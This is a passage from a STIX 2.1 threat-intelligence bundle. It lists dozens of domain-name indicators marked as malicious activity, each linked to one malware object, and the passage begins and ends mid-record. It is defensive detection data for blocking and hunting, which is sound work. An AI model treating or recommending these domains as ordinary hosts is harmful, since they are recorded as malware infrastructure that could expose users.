"2024-01-26T21:28:21.253619Z", "modified": "2024-01-26T21:28:21.253619Z", "relationship_type": "indicates", "source_ref": "indicator--072f4a3c-922b-46ca-b91b-1f17f1740d55", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a4b2f359-d86d-4fd5-abdc-8b509e2ea8f2", "created": "2024-01-26T21:28:21.253714Z", "modified": "2024-01-26T21:28:21.253714Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='motiontastebad.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.253714Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--071ed1e5-e871-412b-b581-bf4d9a10560a", "created": "2024-01-26T21:28:21.254186Z", "modified": "2024-01-26T21:28:21.254186Z", "relationship_type": "indicates", "source_ref": "indicator--a4b2f359-d86d-4fd5-abdc-8b509e2ea8f2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cb69b98d-1626-4f0c-bb5e-97b50f5e9880", "created": "2024-01-26T21:28:21.254288Z", "modified": "2024-01-26T21:28:21.254288Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bl33pon6373.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.254288Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--14769da3-e070-4679-8e80-5b95e60bebbd", "created": "2024-01-26T21:28:21.254683Z", "modified": "2024-01-26T21:28:21.254683Z", "relationship_type": "indicates", "source_ref": "indicator--cb69b98d-1626-4f0c-bb5e-97b50f5e9880", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ca484114-1b31-43fe-86ee-f527b500721b", "created": "2024-01-26T21:28:21.254779Z", "modified": "2024-01-26T21:28:21.254779Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='good-games.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.254779Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1d3c2028-5932-46d8-8a4c-e55c50947044", "created": "2024-01-26T21:28:21.255163Z", "modified": "2024-01-26T21:28:21.255163Z", "relationship_type": "indicates", "source_ref": "indicator--ca484114-1b31-43fe-86ee-f527b500721b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1b20f0df-e3ba-4444-938f-9614814efd9d", "created": "2024-01-26T21:28:21.25533Z", "modified": "2024-01-26T21:28:21.25533Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='filingwarranty.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.25533Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6f499c2e-93c9-4a0a-901f-ebdae20f3c2c", "created": "2024-01-26T21:28:21.25572Z", "modified": "2024-01-26T21:28:21.25572Z", "relationship_type": "indicates", "source_ref": "indicator--1b20f0df-e3ba-4444-938f-9614814efd9d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fc912ae3-21aa-41f1-83d3-897808ad8001", "created": "2024-01-26T21:28:21.255817Z", "modified": "2024-01-26T21:28:21.255817Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='breaking-extranews.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.255817Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--948f4938-71c0-42e1-a534-f3c995e11339", "created": "2024-01-26T21:28:21.256213Z", "modified": "2024-01-26T21:28:21.256213Z", "relationship_type": "indicates", "source_ref": "indicator--fc912ae3-21aa-41f1-83d3-897808ad8001", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8e400473-834c-4394-bf00-a44a8e5ae080", "created": "2024-01-26T21:28:21.256308Z", "modified": "2024-01-26T21:28:21.256308Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mealrentyard.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.256308Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c9152ad0-75a1-4ee5-9eb8-376fc7ac9e9e", "created": "2024-01-26T21:28:21.256691Z", "modified": "2024-01-26T21:28:21.256691Z", "relationship_type": "indicates", "source_ref": "indicator--8e400473-834c-4394-bf00-a44a8e5ae080", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0a1c21a0-8b31-462d-b2b6-ac6dca800261", "created": "2024-01-26T21:28:21.256787Z", "modified": "2024-01-26T21:28:21.256787Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='smokeshowshoe.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.256787Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a60dd0f6-ee3b-4d54-8aef-15d975934732", "created": "2024-01-26T21:28:21.257173Z", "modified": "2024-01-26T21:28:21.257173Z", "relationship_type": "indicates", "source_ref": "indicator--0a1c21a0-8b31-462d-b2b6-ac6dca800261", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--88eb29af-cdfb-43c5-afc5-98595399dccb", "created": "2024-01-26T21:28:21.257269Z", "modified": "2024-01-26T21:28:21.257269Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='lookitupnow.website']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.257269Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--df59fe1a-0d20-46ac-8dc6-dff0a893e78b", "created": "2024-01-26T21:28:21.257666Z", "modified": "2024-01-26T21:28:21.257666Z", "relationship_type": "indicates", "source_ref": "indicator--88eb29af-cdfb-43c5-afc5-98595399dccb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--47831f1d-3e86-4934-889c-bef0c83be14c", "created": "2024-01-26T21:28:21.257763Z", "modified": "2024-01-26T21:28:21.257763Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fashioncontainer.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.257763Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--089c3325-0b76-4035-94b3-6078802390c7", "created": "2024-01-26T21:28:21.258156Z", "modified": "2024-01-26T21:28:21.258156Z", "relationship_type": "indicates", "source_ref": "indicator--47831f1d-3e86-4934-889c-bef0c83be14c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--513abdc0-6ed1-47cc-9a90-2d2af53c8464", "created": "2024-01-26T21:28:21.258252Z", "modified": "2024-01-26T21:28:21.258252Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='landflatheart.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.258252Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c36a6ef8-afb4-48a4-8131-c93c5c82579d", "created": "2024-01-26T21:28:21.258729Z", "modified": "2024-01-26T21:28:21.258729Z", "relationship_type": "indicates", "source_ref": "indicator--513abdc0-6ed1-47cc-9a90-2d2af53c8464", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--838836a0-b022-4e52-b59c-8d505b7a01be", "created": "2024-01-26T21:28:21.258828Z", "modified": "2024-01-26T21:28:21.258828Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='latest-songs.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.258828Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9899ffd8-6f5e-4ed3-8bd3-5dbcfc918efc", "created": "2024-01-26T21:28:21.259217Z", "modified": "2024-01-26T21:28:21.259217Z", "relationship_type": "indicates", "source_ref": "indicator--838836a0-b022-4e52-b59c-8d505b7a01be", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--339650ca-246b-4256-a10a-f7d0dc5f6745", "created": "2024-01-26T21:28:21.259314Z", "modified": "2024-01-26T21:28:21.259314Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='scannerservices.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.259314Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--123c236c-5acb-4346-aaea-147b506770dd", "created": "2024-01-26T21:28:21.259702Z", "modified": "2024-01-26T21:28:21.259702Z", "relationship_type": "indicates", "source_ref": "indicator--339650ca-246b-4256-a10a-f7d0dc5f6745", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c3d92040-2191-49f7-b37f-e34c1440926e", "created": "2024-01-26T21:28:21.259799Z", "modified": "2024-01-26T21:28:21.259799Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cell-abonnes.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.259799Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--252a529d-5243-4d19-a59b-8c84cebdf975", "created": "2024-01-26T21:28:21.260189Z", "modified": "2024-01-26T21:28:21.260189Z", "relationship_type": "indicates", "source_ref": "indicator--c3d92040-2191-49f7-b37f-e34c1440926e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--62224127-7af3-4595-a73d-739d2e07871c", "created": "2024-01-26T21:28:21.260286Z", "modified": "2024-01-26T21:28:21.260286Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='foodforyou.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.260286Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1eed5702-a76b-4fbb-aaef-6c93767e6e07", "created": "2024-01-26T21:28:21.260671Z", "modified": "2024-01-26T21:28:21.260671Z", "relationship_type": "indicates", "source_ref": "indicator--62224127-7af3-4595-a73d-739d2e07871c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--27f58df7-1a27-4baa-bf71-b5a8fc9b14f6", "created": "2024-01-26T21:28:21.260767Z", "modified": "2024-01-26T21:28:21.260767Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='al-taleanewsonline.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.260767Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--880ac139-623d-46d6-a43b-f789b2d35f97", "created": "2024-01-26T21:28:21.261159Z", "modified": "2024-01-26T21:28:21.261159Z", "relationship_type": "indicates", "source_ref": "indicator--27f58df7-1a27-4baa-bf71-b5a8fc9b14f6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c3c35cd6-5894-47ad-bebf-bdfec95602f0", "created": "2024-01-26T21:28:21.261256Z", "modified": "2024-01-26T21:28:21.261256Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tobepure.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.261256Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dcd22a93-a0b7-4ef3-98a6-38cdde7d53e1", "created": "2024-01-26T21:28:21.261637Z", "modified": "2024-01-26T21:28:21.261637Z", "relationship_type": "indicates", "source_ref": "indicator--c3c35cd6-5894-47ad-bebf-bdfec95602f0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8e17b58c-d2a6-4678-b315-f0154d5a4341", "created": "2024-01-26T21:28:21.261734Z", "modified": "2024-01-26T21:28:21.261734Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='topten-news.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.261734Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--46b92913-9bbb-4b39-bb62-d466fc59f15e", "created": "2024-01-26T21:28:21.262123Z", "modified": "2024-01-26T21:28:21.262123Z", "relationship_type": "indicates", "source_ref": "indicator--8e17b58c-d2a6-4678-b315-f0154d5a4341", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4acb96ff-1d49-4888-bced-24c63c633ef3", "created": "2024-01-26T21:28:21.262219Z", "modified": "2024-01-26T21:28:21.262219Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dns-analytics.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.262219Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9d0ee9fb-e483-4883-8cd4-0976b56fe28d", "created": "2024-01-26T21:28:21.262613Z", "modified": "2024-01-26T21:28:21.262613Z", "relationship_type": "indicates", "source_ref": "indicator--4acb96ff-1d49-4888-bced-24c63c633ef3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6b6f0f17-9b57-4a22-88fb-ad3efaf508a5", "created": "2024-01-26T21:28:21.26271Z", "modified": "2024-01-26T21:28:21.26271Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='thecoffeeilove.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.26271Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3b83720e-ab00-44d5-b1b0-832b58bacbd0", "created": "2024-01-26T21:28:21.263181Z", "modified": "2024-01-26T21:28:21.263181Z", "relationship_type": "indicates", "source_ref": "indicator--6b6f0f17-9b57-4a22-88fb-ad3efaf508a5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--88f0dd70-7699-4279-aaf8-babb8d14225c", "created": "2024-01-26T21:28:21.263278Z", "modified": "2024-01-26T21:28:21.263278Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ooredoodeals.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.263278Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9701044e-08eb-40e5-9d82-a235dc19f7ff", "created": "2024-01-26T21:28:21.263669Z", "modified": "2024-01-26T21:28:21.263669Z", "relationship_type": "indicates", "source_ref": "indicator--88f0dd70-7699-4279-aaf8-babb8d14225c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c4fb0e46-f803-435b-8848-e98876ac54a0", "created": "2024-01-26T21:28:21.263765Z", "modified": "2024-01-26T21:28:21.263765Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='currentwestpeople.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.263765Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8192fb46-1f2e-4f36-8aa3-6b6434fb42f6", "created": "2024-01-26T21:28:21.26416Z", "modified": "2024-01-26T21:28:21.26416Z", "relationship_type": "indicates", "source_ref": "indicator--c4fb0e46-f803-435b-8848-e98876ac54a0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e7c4d3ff-586a-4707-af6e-854092fd5ddb", "created": "2024-01-26T21:28:21.264257Z", "modified": "2024-01-26T21:28:21.264257Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fbsecurity.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.264257Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8c36a60b-77a3-4f96-a4bd-dac9dd0eaadf", "created": "2024-01-26T21:28:21.264644Z", "modified": "2024-01-26T21:28:21.264644Z", "relationship_type": "indicates", "source_ref": "indicator--e7c4d3ff-586a-4707-af6e-854092fd5ddb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--685e9725-f15f-42f0-b806-7c1175ee6a5b", "created": "2024-01-26T21:28:21.264742Z", "modified": "2024-01-26T21:28:21.264742Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='entertainmentinat.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.264742Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a70dbac4-53b2-47ec-bc36-eb9940303358", "created": "2024-01-26T21:28:21.265134Z", "modified": "2024-01-26T21:28:21.265134Z", "relationship_type": "indicates", "source_ref": "indicator--685e9725-f15f-42f0-b806-7c1175ee6a5b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d537e0a7-b5bb-4f3f-9117-7eab243d9237", "created": "2024-01-26T21:28:21.265231Z", "modified": "2024-01-26T21:28:21.265231Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='domain-routing.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.265231Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f76416f1-4ec1-4803-a6ca-5ac5c1cedee1", "created": "2024-01-26T21:28:21.265619Z", "modified": "2024-01-26T21:28:21.265619Z", "relationship_type": "indicates", "source_ref": "indicator--d537e0a7-b5bb-4f3f-9117-7eab243d9237", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4347c946-99e7-48f0-b853-7b88ce3f08cf", "created": "2024-01-26T21:28:21.265714Z", "modified": "2024-01-26T21:28:21.265714Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='800health.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.265714Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ca734f6a-795c-4fcc-a0c0-b3f1be8d5a2e", "created": "2024-01-26T21:28:21.266154Z", "modified": "2024-01-26T21:28:21.266154Z", "relationship_type": "indicates", "source_ref": "indicator--4347c946-99e7-48f0-b853-7b88ce3f08cf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3b11491c-e6de-4c39-8a58-b98b8dbdcbb2", "created": "2024-01-26T21:28:21.26625Z", "modified": "2024-01-26T21:28:21.26625Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bustimer.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.26625Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--560a24f2-c65d-4a35-b5df-e660168672cd", "created": "2024-01-26T21:28:21.266634Z", "modified": "2024-01-26T21:28:21.266634Z", "relationship_type": "indicates", "source_ref": "indicator--3b11491c-e6de-4c39-8a58-b98b8dbdcbb2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--231c5ada-41f6-4702-9951-0a7e1cfe5fe3", "created": "2024-01-26T21:28:21.266729Z", "modified": "2024-01-26T21:28:21.266729Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='offspringperform.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.266729Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2413fb8d-7080-475a-bd11-cc3847ea06a5", "created": "2024-01-26T21:28:21.267123Z", "modified": "2024-01-26T21:28:21.267123Z", "relationship_type": "indicates", "source_ref": "indicator--231c5ada-41f6-4702-9951-0a7e1cfe5fe3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--900b2f07-d609-499d-aa2b-da7aedbdaad9", "created": "2024-01-26T21:28:21.267221Z", "modified": "2024-01-26T21:28:21.267221Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='webexaminer.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.267221Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3e59430e-69c6-4207-9962-777cf5950f10", "created": "2024-01-26T21:28:21.267684Z", "modified": "2024-01-26T21:28:21.267684Z", "relationship_type": "indicates", "source_ref": "indicator--900b2f07-d609-499d-aa2b-da7aedbdaad9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8778fd4d-3a11-4de9-abfd-a34a8200f905", "created": "2024-01-26T21:28:21.267782Z", "modified": "2024-01-26T21:28:21.267782Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='accountant-audio.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.267782Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--98ce79d1-e018-4ded-be03-8b54544ddccb", "created": "2024-01-26T21:28:21.268176Z", "modified": "2024-01-26T21:28:21.268176Z", "relationship_type": "indicates", "source_ref": "indicator--8778fd4d-3a11-4de9-abfd-a34a8200f905", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5ca3efae-fb7b-402e-8b8c-7a170fcef11c", "created": "2024-01-26T21:28:21.268278Z", "modified": "2024-01-26T21:28:21.268278Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='now-online.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.268278Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f3169694-e74f-4853-a36f-b37ce884e5e2", "created": "2024-01-26T21:28:21.268663Z", "modified": "2024-01-26T21:28:21.268663Z", "relationship_type": "indicates", "source_ref": "indicator--5ca3efae-fb7b-402e-8b8c-7a170fcef11c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2f7e4f8f-898d-4044-94c5-514a5a953ef3", "created": "2024-01-26T21:28:21.268759Z", "modified": "2024-01-26T21:28:21.268759Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='wedding-strategy.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.268759Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e4e29e2a-a1d0-484e-ab53-5a71e10e0c03", "created": "2024-01-26T21:28:21.269148Z", "modified": "2024-01-26T21:28:21.269148Z", "relationship_type": "indicates", "source_ref": "indicator--2f7e4f8f-898d-4044-94c5-514a5a953ef3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d4e045c2-1ae2-448d-8615-999eeffe8b10", "created": "2024-01-26T21:28:21.269244Z", "modified": "2024-01-26T21:28:21.269244Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bytlo.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.269244Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--613ecc17-d93f-4fb2-b83d-19938a162790", "created": "2024-01-26T21:28:21.269624Z", "modified": "2024-01-26T21:28:21.269624Z", "relationship_type": "indicates", "source_ref": "indicator--d4e045c2-1ae2-448d-8615-999eeffe8b10", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--047d0197-19ba-4cea-8a9b-7a9408195380", "created": "2024-01-26T21:28:21.269725Z", "modified": "2024-01-26T21:28:21.269725Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='expired-getway.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.269725Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b6ad6c92-1733-418b-9859-f00ad6bd4a20", "created": "2024-01-26T21:28:21.270111Z", "modified": "2024-01-26T21:28:21.270111Z", "relationship_type": "indicates", "source_ref": "indicator--047d0197-19ba-4cea-8a9b-7a9408195380", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3d45b69e-0603-4ce6-9405-04ba97a6a0a0", "created": "2024-01-26T21:28:21.270209Z", "modified": "2024-01-26T21:28:21.270209Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='welcomehosting.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.270209Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1c8432ab-011d-4dce-8b24-9b8dd96b3dcc", "created": "2024-01-26T21:28:21.270601Z", "modified": "2024-01-26T21:28:21.270601Z", "relationship_type": "indicates", "source_ref": "indicator--3d45b69e-0603-4ce6-9405-04ba97a6a0a0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--aa85ad7d-f770-4e2b-89fa-fee1dd6053a3", "created": "2024-01-26T21:28:21.270699Z", "modified": "2024-01-26T21:28:21.270699Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='myfreecharge.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.270699Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4c32f5aa-fce5-478c-80fa-6b104e74a210", "created": "2024-01-26T21:28:21.271089Z", "modified": "2024-01-26T21:28:21.271089Z", "relationship_type": "indicates", "source_ref": "indicator--aa85ad7d-f770-4e2b-89fa-fee1dd6053a3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4c8a9118-c305-4fb4-932d-7a8a3b6f124f", "created": "2024-01-26T21:28:21.271186Z", "modified": "2024-01-26T21:28:21.271186Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='welovemorningcoffees.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.271186Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e92f58b5-8ce1-41da-8304-208831edfda0", "created": "2024-01-26T21:28:21.271583Z", "modified": "2024-01-26T21:28:21.271583Z", "relationship_type": "indicates", "source_ref": "indicator--4c8a9118-c305-4fb4-932d-7a8a3b6f124f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1fdb2442-7a6c-4d14-8e70-5f264b7c0b66", "created": "2024-01-26T21:28:21.271679Z", "modified": "2024-01-26T21:28:21.271679Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='moneycoincurrency.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.271679Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3a8fda24-9da4-4d32-8947-842f50108423", "created": "2024-01-26T21:28:21.27215Z", "modified": "2024-01-26T21:28:21.27215Z", "relationship_type": "indicates", "source_ref": "indicator--1fdb2442-7a6c-4d14-8e70-5f264b7c0b66", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--23f92efa-bb23-47dd-bc67-fbcd48bf4723", "created": "2024-01-26T21:28:21.272248Z", "modified": "2024-01-26T21:28:21.272248Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fantastic-gardens.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.272248Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fbe5acac-a44e-412b-a780-5b8a579fd8ac", "created": "2024-01-26T21:28:21.272643Z", "modified": "2024-01-26T21:28:21.272643Z", "relationship_type": "indicates", "source_ref": "indicator--23f92efa-bb23-47dd-bc67-fbcd48bf4723", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bdaffa31-35c1-4a2d-8a50-787dc061fb1d", "created": "2024-01-26T21:28:21.272741Z", "modified": "2024-01-26T21:28:21.272741Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='elementscart.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.272741Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e84bf17c-85e4-4934-8236-7fd11a6e4403", "created": "2024-01-26T21:28:21.27313Z", "modified": 